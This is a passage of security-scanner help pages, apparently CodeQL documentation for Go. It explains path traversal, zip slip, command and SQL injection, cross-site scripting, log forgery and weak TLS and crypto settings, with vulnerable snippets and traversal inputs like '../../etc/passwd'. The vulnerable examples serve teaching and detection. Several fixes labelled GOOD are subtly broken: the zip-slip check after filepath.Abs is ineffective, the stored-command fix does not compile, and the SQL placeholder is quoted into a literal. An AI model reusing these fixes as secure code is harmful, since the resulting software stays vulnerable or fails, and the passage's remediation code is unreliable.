• If the result highlights an unknown sink for a problem, then add modeling for the sink to the relevant query, and confirm that the result is either found, or is safe due to appropriate sanitization.
• If the result represents a call to an external API that transfers taint (for example, from a parameter to its return value), add the appropriate modeling, and re-run the query to determine what new results have appeared due to this additional modeling.
  Otherwise, the result is likely uninteresting. Custom versions of this query can extend the SafeExternalAPIMethod class to exclude known safe external APIs from future analysis.

Example

In this first example, a request parameter is read from http.Request and then ultimately used in a call to the fmt.Fprintf external API:

package main

import (
	"fmt"
	"net/http"
)

func serve() {
	http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		username := r.Form.Get("username")
		if !isValidUsername(username) {
			// BAD: a request parameter is incorporated without validation into the response
			fmt.Fprintf(w, "%q is an unknown user", username)
		} else {
			// TODO: Handle successful login
		}
	})
	http.ListenAndServe(":80", nil)
}

This is an XSS sink. The "Reflected cross-site scripting" query (go/reflected-xss) should therefore be reviewed to confirm that this sink is appropriately modeled, and if it is, to confirm that the query reports this particular result, or that the result is a false positive due to some existing sanitization.

In this second example, again a request parameter is read from http.Request.

package main

import (
	"database/sql"
	"fmt"
	"net/http"
)

func handler(db *sql.DB, req *http.Request) {
	q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE",
		req.URL.Query()["category"])
	db.Query(q)
}

If the query reported the call to fmt.Sprintf, this would suggest that this external API is not currently modeled as a taint step in the taint tracking library. The next step would be to model this as a taint step, then re-run the query to determine what additional results might be found. In this example, an SQL injection vulnerability would be reported.

Note that both examples are correctly handled by the standard taint tracking library, the "Reflected cross-site scripting" query (go/reflected-xss), and the "Database query built from user-controlled sources" query (go/sql-injection).

References

• Common Weakness Enumeration: CWE-20.

Uncontrolled data used in path expression

Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.

Recommendation

Validate user input before using it to construct a file path, either using an off-the-shelf library or by performing custom validation.

Ideally, follow these rules:

• Do not allow more than a single "." character.
• Do not allow directory separators such as "/" or "\" (depending on the file system).
• Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../".
• Use an allowlist of known good patterns.

Example

In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as "/etc/passwd".

In the second example, it appears that the user is restricted to opening a file within the "user" home directory. However, a malicious user could enter a file name containing special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/user/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to password information.

package main

import (
	"io/ioutil"
	"net/http"
	"path/filepath"
)

func handler(w http.ResponseWriter, r *http.Request) {
	path := r.URL.Query()["path"][0]

	// BAD: This could read any file on the file system
	data, _ := ioutil.ReadFile(path)
	w.Write(data)

	// BAD: This could still read any file on the file system
	data, _ = ioutil.ReadFile(filepath.Join("/home/user/", path))
	w.Write(data)
}

References

• OWASP: Path Traversal.
• Common Weakness Enumeration: CWE-22.
• Common Weakness Enumeration: CWE-23.
• Common Weakness Enumeration: CWE-36.
• Common Weakness Enumeration: CWE-73.
• Common Weakness Enumeration: CWE-99.

Arbitrary file write extracting an archive containing symbolic links

Extracting symbolic links from a malicious zip archive, without validating that the destination file path is within the destination directory, can cause files outside the destination directory to be overwritten. This can happen if there are previously-extracted symbolic links or directory traversal elements and links (..) in archive paths.

This problem is related to the ZipSlip vulnerability which is detected by the go/zipslip query; please see that query's help for more general information about malicious archive file vulnerabilities. This query considers the specific case where symbolic links are extracted from an archive, in which case the extraction code must be aware of existing symbolic links when checking whether it is about to extract a link pointing to a location outside the target extraction directory.

Recommendation

Ensure that output paths constructed from zip archive entries are validated. This includes resolving any previously extracted symbolic links, for example using path/filepath.EvalSymlinks, to prevent writing files or links to unexpected locations.

Example

In this example, links are extracted from an archive using the syntactic filepath.Rel function to check whether the link and its target fall within the destination directory. However, the extraction code doesn't resolve previously-extracted links, so a pair of links like subdir/parent -> .. followed by escape -> subdir/parent/.. -> subdir/../.. leaves a link pointing to the parent of the archive root. The syntactic Rel is ineffective because it equates subdir/parent/.. with subdir/, but this is not the case when subdir/parent is a symbolic link.

package main

import (
	"archive/tar"
	"io"
	"os"
	"path/filepath"
	"strings"
)

func isRel(candidate, target string) bool {
	// BAD: purely syntactic means are used to check
	// that `candidate` does not escape from `target`
	if filepath.IsAbs(candidate) {
		return false
	}
	relpath, err := filepath.Rel(target, filepath.Join(target, candidate))
	return err == nil && !strings.HasPrefix(filepath.Clean(relpath), "..")
}

func unzipSymlink(f io.Reader, target string) {
	r := tar.NewReader(f)
	for {
		header, err := r.Next()
		if err != nil {
			break
		}
		if isRel(header.Linkname, target) && isRel(header.Name, target) {
			os.Symlink(header.Linkname, header.Name)
		}
	}
}

To fix this vulnerability, resolve pre-existing symbolic links before checking that the link's target is acceptable:

package main

func isRel(candidate, target string) bool {
	// GOOD: resolves all symbolic links before checking
	// that `candidate` does not escape from `target`
	if filepath.IsAbs(candidate) {
		return false
	}
	realpath, err := filepath.EvalSymlinks(filepath.Join(target, candidate))
	if err != nil {
		return false
	}
	relpath, err := filepath.Rel(target, realpath)
	return err == nil && !strings.HasPrefix(filepath.Clean(relpath), "..")
}

References

• Snyk: Zip Slip Vulnerability.
• OWASP: Path Traversal.
• Common Weakness Enumeration: CWE-22.

Arbitrary file write during zip extraction ("zip slip")

Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (..) in archive paths.

Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (..). If these file paths are used to determine which output file the contents of an archive item should be written to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files.

For example, if a zip file contains a file entry ..\sneaky-file, and the zip file is extracted to the directory c:\output, then naively combining the paths would result in an output file path of c:\output\..\sneaky-file, which would cause the file to be written to c:\sneaky-file.

Recommendation

Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations.

The recommended way of writing an output file from a zip archive entry is to check that ".." does not occur in the path.

Example

In this example an archive is extracted without validating file paths. If archive.zip contained relative paths (for instance, if it were created by something like zip archive.zip ../file.txt) then executing this code could write to locations outside the destination directory.

package main

import (
	"archive/zip"
	"io/ioutil"
	"path/filepath"
)

func unzip(f string) {
	r, _ := zip.OpenReader(f)
	for _, f := range r.File {
		p, _ := filepath.Abs(f.Name)
		// BAD: This could overwrite any file on the file system
		ioutil.WriteFile(p, []byte("present"), 0666)
	}
}

To fix this vulnerability, we need to check that the path does not contain any ".." elements in it.

package main

import (
	"archive/zip"
	"io/ioutil"
	"path/filepath"
	"strings"
)

func unzipGood(f string) {
	r, _ := zip.OpenReader(f)
	for _, f := range r.File {
		p, _ := filepath.Abs(f.Name)
		// GOOD: Check that path does not contain ".." before using it
		if !strings.Contains(p, "..") {
			ioutil.WriteFile(p, []byte("present"), 0666)
		}
	}
}

References

• Snyk: Zip Slip Vulnerability.
• OWASP: Path Traversal.
• Common Weakness Enumeration: CWE-22.

Command built from user-controlled sources

If a system command invocation is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands to exfiltrate data or compromise the system.

Recommendation

If possible, use hard-coded string literals to specify the command to run. Instead of interpreting user input directly as command names, examine the input and then choose among hard-coded string literals.

If this is not possible, then add sanitization code to verify that the user input is safe before using it.

Example

In the following example, assume the function handler is an HTTP request handler in a web application, whose parameter req contains the request object:

package main

import (
	"net/http"
	"os/exec"
)

func handler(req *http.Request) {
	cmdName := req.URL.Query()["cmd"][0]
	cmd := exec.Command(cmdName)
	cmd.Run()
}

The handler extracts the name of a system command from the request object, and then runs it without any further checks, which can cause a command-injection vulnerability.

References

• OWASP: Command Injection.
• Common Weakness Enumeration: CWE-78.

Command built from stored data

If a system command invocation is built from stored data without sufficient sanitization, and that data is stored from a user input, a malicious user may be able to run commands to exfiltrate data or compromise the system.

Recommendation

If possible, use hard-coded string literals to specify the command to run. Instead of interpreting stored input directly as command names, examine the input and then choose among hard-coded string literals.

If this is not possible, then add sanitization code to verify that the user input is safe before using it.

Example

In the following example, the function run runs a command directly from the result of a query:

package main

import (
	"database/sql"
	"os/exec"
)

var db *sql.DB

func run(query string) {
	rows, _ := db.Query(query)
	var cmdName string
	rows.Scan(&cmdName)
	cmd := exec.Command(cmdName)
	cmd.Run()
}

The function extracts the name of a system command from the database query, and then runs it without any further checks, which can cause a command-injection vulnerability. A possible solution is to ensure that commands are checked against a whitelist:

package main

import (
	"database/sql"
	"os/exec"
)

var db *sql.DB

func run(query string) {
	rows, _ := db.Query(query)
	var cmdName string
	rows.Scan(&cmdName)
	if cmdName == "mybinary1" || cmdName == "mybinary2" {
		cmd := exec.Command(cmdName)
	}
	cmd.Run()
}

References

• OWASP: Command Injection.
• Common Weakness Enumeration: CWE-78.

Reflected cross-site scripting

Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability.

This kind of vulnerability is also called reflected cross-site scripting, to distinguish it from other types of cross-site scripting.

Recommendation

To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references.

Example

The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting.

package main

import (
	"fmt"
	"net/http"
)

func serve() {
	http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		username := r.Form.Get("username")
		if !isValidUsername(username) {
			// BAD: a request parameter is incorporated without validation into the response
			fmt.Fprintf(w, "%q is an unknown user", username)
		} else {
			// TODO: Handle successful login
		}
	})
	http.ListenAndServe(":80", nil)
}

Sanitizing the user-controlled data prevents the vulnerability:

package main

import (
	"fmt"
	"html"
	"net/http"
)

func serve1() {
	http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		username := r.Form.Get("username")
		if !isValidUsername(username) {
			// GOOD: a request parameter is escaped before being put into the response
			fmt.Fprintf(w, "%q is an unknown user", html.EscapeString(username))
		} else {
			// TODO: do something exciting
		}
	})
	http.ListenAndServe(":80", nil)
}

References

• OWASP: XSS (Cross Site Scripting) Prevention Cheat Sheet.
• OWASP Types of Cross-Site Scripting.
• Wikipedia: Cross-site scripting.
• Common Weakness Enumeration: CWE-79.
• Common Weakness Enumeration: CWE-116.

Stored cross-site scripting

Directly using externally-controlled stored values (for example, file names or database contents) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.

This kind of vulnerability is also called stored cross-site scripting, to distinguish it from other types of cross-site scripting.

Recommendation

To guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.

Example

The following example code writes file names directly to an HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.

package main

import (
	"io"
	"io/ioutil"
	"net/http"
)

func ListFiles(w http.ResponseWriter, r *http.Request) {
	files, _ := ioutil.ReadDir(".")

	for _, file := range files {
		io.WriteString(w, file.Name()+"\n")
	}
}

Sanitizing the file names prevents the vulnerability:

package main

import (
	"html"
	"io"
	"io/ioutil"
	"net/http"
)

func ListFiles1(w http.ResponseWriter, r *http.Request) {
	files, _ := ioutil.ReadDir(".")

	for _, file := range files {
		io.WriteString(w, html.EscapeString(file.Name())+"\n")
	}
}

References

• OWASP: XSS (Cross Site Scripting) Prevention Cheat Sheet.
• OWASP: Types of Cross-Site Scripting.
• Wikipedia: Cross-site scripting.
• Common Weakness Enumeration: CWE-79.
• Common Weakness Enumeration: CWE-116.

Database query built from user-controlled sources

If a database query (such as an SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands that exfiltrate, tamper with, or destroy data stored in the database.

Recommendation

Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation.

Example

In the following example, assume the function handler is an HTTP request handler in a web application, whose parameter req contains the request object:

package main

import (
	"database/sql"
	"fmt"
	"net/http"
)

func handler(db *sql.DB, req *http.Request) {
	q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE",
		req.URL.Query()["category"])
	db.Query(q)
}

The handler constructs an SQL query involving user input taken from the request object unsafely using fmt.Sprintf to embed a request parameter directly into the query string q. The parameter may include quote characters, allowing a malicious user to terminate the string literal into which the parameter is embedded and add arbitrary SQL code after it.

Instead, the untrusted query parameter should be safely embedded using placeholder parameters:

package main

import (
	"database/sql"
	"net/http"
)

func handlerGood(db *sql.DB, req *http.Request) {
	q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE"
	db.Query(q, req.URL.Query()["category"])
}

References

• Wikipedia: SQL injection.
• Common Weakness Enumeration: CWE-89.

Potentially unsafe quoting

Code that constructs a string containing a quoted substring needs to ensure that any user-provided data embedded in between the quotes does not itself contain a quote. Otherwise the embedded data could (accidentally or intentionally) change the structure of the overall string by terminating the quoted substring early, with potentially severe consequences. If, for example, the string is later interpreted as an operating-system command or database query, a malicious attacker may be able to craft input data that enables a command injection or SQL injection attack.

Recommendation

Sanitize the embedded data appropriately to ensure quotes are escaped, or use an API that does not rely on manually constructing quoted substrings.

Example

In the following example, assume that version is an object from an untrusted source. The code snippet first uses json.Marshal to serialize this object into a string, and then embeds it into a SQL query built using the Squirrel library.

package main

import (
	"encoding/json"
	"fmt"
	sq "github.com/Masterminds/squirrel"
)

func save(id string, version interface{}) {
	versionJSON, _ := json.Marshal(version)
	sq.StatementBuilder.
		Insert("resources").
		Columns("resource_id", "version_md5").
		Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))).
		Exec()
}

Note that while Squirrel provides a structured API for building SQL queries that mitigates against common causes of SQL injection vulnerabilities, this code is still vulnerable: if the JSON-encoded representation of version contains a single quote, this will prematurely close the surrounding string, changing the structure of the SQL expression being constructed. This could be exploited to mount a SQL injection attack.

To fix this vulnerability, use Squirrel's placeholder syntax, which avoids the need to explicitly construct a quoted string.

package main

import (
	"encoding/json"
	sq "github.com/Masterminds/squirrel"
)

func saveGood(id string, version interface{}) {
	versionJSON, _ := json.Marshal(version)
	sq.StatementBuilder.
		Insert("resources").
		Columns("resource_id", "version_md5").
		Values(id, sq.Expr("md5(?)", versionJSON)).
		Exec()
}

References

• Wikipedia: SQL injection.
• OWASP: Command Injection.
• Common Weakness Enumeration: CWE-78.
• Common Weakness Enumeration: CWE-89.
• Common Weakness Enumeration: CWE-94.

Log entries created from user input

If unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.

Forgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.

Recommendation

User input should be suitably encoded before it is logged.

If the log entries are plain text then line breaks should be removed from user input, using strings.Replace or similar. Care should also be taken that user input is clearly marked in log entries, and that a malicious user cannot cause confusion in other ways.

For log entries that will be displayed in HTML, user input should be HTML encoded using html.EscapeString or similar before being logged, to prevent forgery and other forms of HTML injection.

Example

In the following example, a user name, provided by the user, is logged using a logging framework without any sanitization.

package main

import (
	"log"
	"net/http"
)

// BAD: A user-provided value is written directly to a log.
func handler(req *http.Request) {
	username := req.URL.Query()["username"][0]
	log.Printf("user %s logged in.\n", username)
}

In the next example, strings.Replace is used to ensure no line endings are present in the user input.

package main

import (
	"log"
	"net/http"
	"strings"
)

// GOOD: The user-provided value is escaped before being written to the log.
func handlerGood(req *http.Request) {
	username := req.URL.Query()["username"][0]
	escapedUsername := strings.Replace(username, "\n", "", -1)
	escapedUsername = strings.Replace(escapedUsername, "\r", "", -1)
	log.Printf("user %s logged in.\n", escapedUsername)
}

References

• OWASP: Log Injection.
• Common Weakness Enumeration: CWE-117.

Size computation for allocation may overflow

Performing calculations involving the size of potentially large strings or slices can result in an overflow (for signed integer types) or a wraparound (for unsigned types). An overflow causes the result of the calculation to become negative, while a wraparound results in a small (positive) number.

This can cause further issues. If, for example, the result is then used in an allocation, it will cause a runtime panic if it is negative, and allocate an unexpectedly small buffer otherwise.

Recommendation

Always guard against overflow in arithmetic operations involving potentially large numbers by doing one of the following:

• Validate the size of the data from which the numbers are computed.
• Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type.
• Use a wider type (such as uint64 instead of int), so that larger input values do not cause overflow.

Example

In the following example, assume that there is a function encryptBuffer that encrypts byte slices whose length must be padded to be a multiple of 16. The function encryptValue provides a convenience wrapper around this function: when passed an arbitrary value, it first encodes that value as JSON, pads the resulting byte slice, and then passes it to encryptBuffer.

package main

import "encoding/json"

func encryptValue(v interface{}) ([]byte, error) {
	jsonData, err := json.Marshal(v)
	if err != nil {
		return nil, err
	}
	size := len(jsonData) + (len(jsonData) % 16)
	buffer := make([]byte, size)
	copy(buffer, jsonData)
	return encryptBuffer(buffer)
}

When passed a value whose JSON encoding is close to the maximum value of type int in length, the computation of size will overflow, producing a negative value. When that negative value is passed to make, a runtime panic will occur.

To guard against this, the function should be improved to check the length of the JSON-encoded value. For example, here is a version of encryptValue that ensures the value is no larger than 64 MB, which fits comfortably within an int and avoids the overflow:

package main

import (
	"encoding/json"
	"errors"
)

func encryptValueGood(v interface{}) ([]byte, error) {
	jsonData, err := json.Marshal(v)
	if err != nil {
		return nil, err
	}
	if len(jsonData) > 64*1024*1024 {
		return nil, errors.New("value too large")
	}
	size := len(jsonData) + (len(jsonData) % 16)
	buffer := make([]byte, size)
	copy(buffer, jsonData)
	return encryptBuffer(buffer)
}

References

• The Go Programming Language Specification: Integer overflow.
• The Go Programming Language Specification: Making slices, maps and channels.
• Common Weakness Enumeration: CWE-190.

Information exposure through a stack trace

Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred.

Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on.

Recommendation

Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server.

Example

In the following example, a panic is handled in two different ways. In the first version, labeled BAD, a detailed stack trace is written to a user-facing HTTP response object, which may disclose sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information.

package example

import (
	"log"
	"net/http"
	"runtime"
)

func handlePanic(w http.ResponseWriter, r *http.Request) {
	buf := make([]byte, 2<<16)
	buf = buf[:runtime.Stack(buf, true)]
	// BAD: printing a stack trace back to the response
	w.Write(buf)
	// GOOD: logging the response to the server and sending
	// a more generic message.
	log.Printf("Panic: %s", buf)
	w.Write([]byte("An unexpected runtime error occurred"))
}

References

• OWASP: Improper Error Handling.
• Common Weakness Enumeration: CWE-209.
• Common Weakness Enumeration: CWE-497.

Disabled TLS certificate check

The field InsecureSkipVerify controls whether a TLS client verifies the server's certificate chain and host name. If set to true, the client will accept any certificate and any host name in that certificate, making it susceptible to man-in-the-middle attacks.

Recommendation

Do not set InsecureSkipVerify to true except in tests.

Example

The following code snippet shows a function that performs an HTTP request over TLS with certificate verification disabled:

package main

import (
	"crypto/tls"
	"net/http"
)

func doAuthReq(authReq *http.Request) *http.Response {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}
	res, _ := client.Do(authReq)
	return res
}

While this is acceptable in a test, it should not be used in production code. Instead, certificates should be configured such that verification can be performed.

References

• Package tls: Config.
• SSL.com: Browsers and Certificate Validation.
• Common Weakness Enumeration: CWE-295.

Clear-text logging of sensitive information

Sensitive information that is logged unencrypted is accessible to an attacker who gains access to the logs.

Recommendation

Ensure that sensitive information is always encrypted or obfuscated before being logged.

In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.

Be aware that external processes often store the standard out and standard error streams of the application, causing logged sensitive information to be stored.

Example

The following example code logs user credentials (in this case, their password) in plain text:

package main

import (
	"log"
	"net/http"
)

func serve() {
	http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		user := r.Form.Get("user")
		pw := r.Form.Get("password")

		log.Printf("Registering new user %s with password %s.\n", user, pw)
	})
	http.ListenAndServe(":80", nil)
}

Instead, the credentials should be encrypted, obfuscated, or omitted entirely:

package main

import (
	"log"
	"net/http"
)

func serve1() {
	http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		user := r.Form.Get("user")
		pw := r.Form.Get("password")

		log.Printf("Registering new user %s.\n", user)

		// ...
		use(pw)
	})
	http.ListenAndServe(":80", nil)
}

References

• M. Dowd, J. McDonald and J. Schuhm, The Art of Software Security Assessment, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.
• M. Howard and D. LeBlanc, Writing Secure Code, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.
• OWASP: Password Plaintext Storage.
• Common Weakness Enumeration: CWE-312.
• Common Weakness Enumeration: CWE-315.
• Common Weakness Enumeration: CWE-359.

Use of insecure HostKeyCallback implementation

The ClientConfig specifying the configuration for establishing a SSH connection has a field HostKeyCallback that must be initialized with a function that validates the host key returned by the server.

Not properly verifying the host key returned by a server provides attackers with an opportunity to perform a Machine-in-the-Middle (MitM) attack. A successful attack can compromise the confidentiality and integrity of the information communicated with the server.

The ssh package provides the predefined callback InsecureIgnoreHostKey that can be used during development and testing. It accepts any provided host key. This callback, or a semantically similar callback, should not be used in production code.

Recommendation

The HostKeyCallback field of ClientConfig should be initialized with a function that validates a host key against an allow list. If a key is not on a predefined allow list, the connection must be terminated and the failed security operation should be logged.

When the allow list contains only a single host key then the function FixedHostKey can be used.

Example

The following example shows the use of InsecureIgnoreHostKey and an insecure host key callback implemention commonly used in non-production code.

package main

import (
	"golang.org/x/crypto/ssh"
	"net"
)

func main() {}

func insecureIgnoreHostKey() {
	_ = &ssh.ClientConfig{
		User:            "username",
		Auth:            []ssh.AuthMethod{nil},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
	}
}

func insecureHostKeyCallback() {
	_ = &ssh.ClientConfig{
		User: "username",
		Auth: []ssh.AuthMethod{nil},
		HostKeyCallback: ssh.HostKeyCallback(
			func(hostname string, remote net.Addr, key ssh.PublicKey) error {
				return nil
			}),
	}
}

The next example shows a secure implementation using the FixedHostKey that implements an allow-list.

package main

import (
	"golang.org/x/crypto/ssh"
	"io/ioutil"
)

func main() {}

func secureHostKeyCallback() {
	publicKeyBytes, _ := ioutil.ReadFile("allowed_hostkey.pub")
	publicKey, _ := ssh.ParsePublicKey(publicKeyBytes)

	_ = &ssh.ClientConfig{
		User:            "username",
		Auth:            []ssh.AuthMethod{nil},
		HostKeyCallback: ssh.FixedHostKey(publicKey),
	}
}

References

• Go Dev: package ssh.

Use of a weak cryptographic key

Incorrect uses of encryption algorithms may result in sensitive data exposure, key leakage, broken authentication, insecure session, and spoofing attacks.

Recommendation

Ensure that you use a strong key with a recommended bit size. For RSA encryption the minimum size is 2048 bits.

Example

The following code uses RSA encryption with insufficient key size.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"fmt"
)

func main() {
	//Generate Private Key
	pvk, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(pvk)
}

In the example below, the key size is set to 2048 bits.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"fmt"
)

func main() {
	//Generate Private Key
	pvk, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println(pvk)
}

References

• OWASP: Cryptographic Storage Cheat Sheet.
• Wikipedia: Cryptographically Strong Algorithms.
• Wikipedia: Strong Cryptography Examples.
• NIST, FIPS 140 Annex a: Approved Security Functions.
• NIST, SP 800-131A: Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths.
• Common Weakness Enumeration: CWE-326.

Insecure TLS configuration

The TLS (Transport Layer Security) protocol secures communications over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery.

The current latest version is 1.3 (with the 1.2 version still being considered secure). Older versions are not deemed to be secure anymore because of various security vulnerabilities, and tht makes them unfit for use in securing your applications.

Unfortunately, many applications and websites still support deprecated SSL/TLS versions and cipher suites.

Recommendation

Only use secure TLS versions (1.3 and 1.2) and avoid using insecure cipher suites (you can see a list here: https://golang.org/src/crypto/tls/cipher_suites.go\#L81)

Example

The following example shows a few ways how an insecure TLS configuration can be created:

package main

import (
	"crypto/tls"
)

func main() {}

func insecureMinMaxTlsVersion() {
	{
		config := &tls.Config{}
		config.MinVersion = 0 // BAD: Setting the MinVersion to 0 equals to choosing the lowest supported version (i.e. SSL3.0)
	}
	{
		config := &tls.Config{}
		config.MinVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MinVersion.
	}
	{
		config := &tls.Config{}
		config.MaxVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MaxVersion.
	}
}

func insecureCipherSuites() {
	config := &tls.Config{
		CipherSuites: []uint16{
			tls.TLS_RSA_WITH_RC4_128_SHA, // BAD: TLS_RSA_WITH_RC4_128_SHA is one of the non-secure cipher suites; it's not safe to be used.
		},
	}
	_ = config
}

The following example shows how to create a safer TLS configuration:

package main

import "crypto/tls"

func saferTLSConfig() {
	config := &tls.Config{}
	config.MinVersion = tls.VersionTLS12
	config.MaxVersion = tls.VersionTLS13
	// OR
	config.MaxVersion = 0 // GOOD: Setting MaxVersion to 0 means that the highest version available in the package will be used.
}

References

• Wikipedia: Transport Layer Security
• Mozilla: Security/Server Side TLS
• OWASP: Transport Layer Protection Cheat Sheet
• Common Weakness Enumeration: CWE-327.

Use of insufficient randomness as the key of a cryptographic algorithm

Using a cryptographically weak pseudo-random number generator to generate a security-sensitive value, such as a password, makes it easier for an attacker to predict the value.

Pseudo-random number generators generate a sequence of numbers that only approximates the properties of random numbers. The sequence is not truly random because it is completely determined by a relatively small set of initial values, the seed. If the random number generator is cryptographically weak, then this sequence may be easily predictable through outside observations.

Recommendation

Use a cryptographically secure pseudo-random number generator if the output is to be used in a security sensitive context. As a rule of thumb, a value should be considered "security sensitive" if predicting it would allow the attacker to perform an action that they would otherwise be unable to perform. For example, if an attacker could predict the random password generated for a new user, they would be able to log in as that new user.

For Go, crypto/rand provides a cryptographically secure pseudo-random number generator. math/rand is not cryptographically secure, and should be avoided in security contexts. For contexts which are not security sensitive, math/rand may be preferable as it has a more convenient interface, and is likely to be faster.

Example

The example below uses the math/rand package instead of crypto/rand to generate a password:

package main

import (
	"math/rand"
)

var charset = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")

func generatePassword() string {
	s := make([]rune, 20)
	for i := range s {
		s[i] = charset[rand.Intn(len(charset))]
	}
	return string(s)
}

Instead, use crypto/rand:

package main

import (
	"crypto/rand"
	"math/big"
)

func generatePasswordGood() string {
	s := make([]rune, 20)
	for i := range s {
		idx, err := rand.Int(rand.Reader, big.NewInt(int64(len(charset))))
		if err != nil {
			// handle err
		}
		s[i] = charset[idx.Int64()]
	}
	return string(s)
}

References

• Wikipedia. Pseudo-random number generator.
• OWASP: Insecure Randomness.
• OWASP: Secure Random Number Generation.
• Common Weakness Enumeration: CWE-338.

Use of constant state value in OAuth 2.0 URL

OAuth 2.0 clients must implement CSRF protection for the redirection URI, which is typically accomplished by including a "state" value that binds the request to the user's authenticated state. The Go OAuth 2.0 library allows you to specify a "state" value which is then included in the auth code URL. That state is then provided back by the remote authentication server in the redirect callback, from where it must be validated. Failure to do so makes the client susceptible to an CSRF attack.

Recommendation

Always include a unique, non-guessable state value (provided to the call to AuthCodeURL function) that is also bound to the user's authenticated state with each authentication request, and then validated in the redirect callback.

Example

The first example shows you the use of a constant state (bad).

package main

import (
	"golang.org/x/oauth2"
)

func main() {}

var stateStringVar = "state"

func badWithStringLiteralState() {
	conf := &oauth2.Config{
		ClientID:     "YOUR_CLIENT_ID",
		ClientSecret: "YOUR_CLIENT_SECRET",
		Scopes:       []string{"SCOPE1", "SCOPE2"},
		Endpoint: oauth2.Endpoint{
			AuthURL:  "https://provider.com/o/oauth2/auth",
			TokenURL: "https://provider.com/o/oauth2/token",
		},
	}

	url := conf.AuthCodeURL(stateStringVar)
	// ...
}

The second example shows a better implementation idea.

package main

import (
	"crypto/rand"
	"encoding/base64"
	"net/http"

	"golang.org/x/oauth2"
)

func betterWithVariableStateReturned(w http.ResponseWriter) {
	conf := &oauth2.Config{
		ClientID:     "YOUR_CLIENT_ID",
		ClientSecret: "YOUR_CLIENT_SECRET",
		Scopes:       []string{"SCOPE1", "SCOPE2"},
		Endpoint: oauth2.Endpoint{
			AuthURL:  "https://provider.com/o/oauth2/auth",
			TokenURL: "https://provider.com/o/oauth2/token",
		},
	}

	state := generateStateOauthCookie(w)
	url := conf.AuthCodeURL(state)
	_ = url
	// ...
}
func generateStateOauthCookie(w http.ResponseWriter) string {
	b := make([]byte, 128)
	rand.Read(b)
	// TODO: save the state string to cookies or HTML storage,
	// and bind it to the authenticated status of the user.
	state := base64.URLEncoding.EncodeToString(b)

	return state
}

References

• IETF: The OAuth 2.0 Authorization Framework
• IETF: OAuth 2.0 Security Best Current Practice
• Common Weakness Enumeration: CWE-352.

Bad redirect check

